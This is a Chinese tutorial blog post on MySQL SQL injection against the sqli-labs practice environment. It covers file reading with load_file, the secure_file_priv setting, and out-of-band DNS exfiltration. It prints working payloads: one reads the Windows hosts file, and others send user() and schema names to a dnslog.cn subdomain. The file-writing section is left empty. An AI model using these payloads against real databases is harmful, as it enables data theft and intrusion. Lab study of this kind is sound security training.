SQL注入——mysql数据库之读写文件,代外攻击

一,读文件

1,读文件函数:load_file() 只能用来读取文件不能读取目录 并且(文件路径要使用    \\  [双斜线]或者  / [反斜线]   )

2,读写文件权限

secure_file_priv=       //对读写文件没有限制

secure_file_priv=NULL      //不能进行读写文件

secure_file_priv=“D:/software/phpStudy/PHPTutorial/MySQL/data/“  ps:只能在固定文件夹下进行读写文件

3,读文件实例:以sqli-labs-master第二个为例:

注入语句:

union select 1,2,load_file("C:\\Windows\\System32\\drivers\\etc\\hosts") -- -

二,代外攻击

Load_file()load_file不仅可以用来读取本地敏感文件还可以用来读取网络上的文件

  dnslog.cn(网站):根据DNS浏览记录产生回显

注意:当回显结果中夹杂着特殊符号的时候,使用十六进制编码的形式进行绕过

代外攻击基础语句:

and select load_file(concat(“\\\\”,hex(user()), “. 8bzoqi.dnslog.cn\\a.txt”)) -- -

在代外攻击时不能使用group_concat()函数,好使用limit()函数

实例:

代外攻击主要解决了,在注入过程中没有显示位,使用dnsdnslog.cn网站的特性来让我们的注入语句产生回显

下面以sqli-labs-master第八关为例:

第一步:获取一个域名

第二步:

准备语句:

and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".li17a4.dnslog.cn\\a.txt")) -- -

ps:li17a4.dnslog.cn是复制下来的域名
    a.txt是随便写的一个不存在的文件

注意:li17a4.dnslog.cn 域名前加 .

三,写文件

写文件常用函数:

         into outfile()

         into dumpfile()

写文件权限问题:secure_file_priv=

实列:

 

 

技术无罪,向阳而生,请别因为技术而走向深渊!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值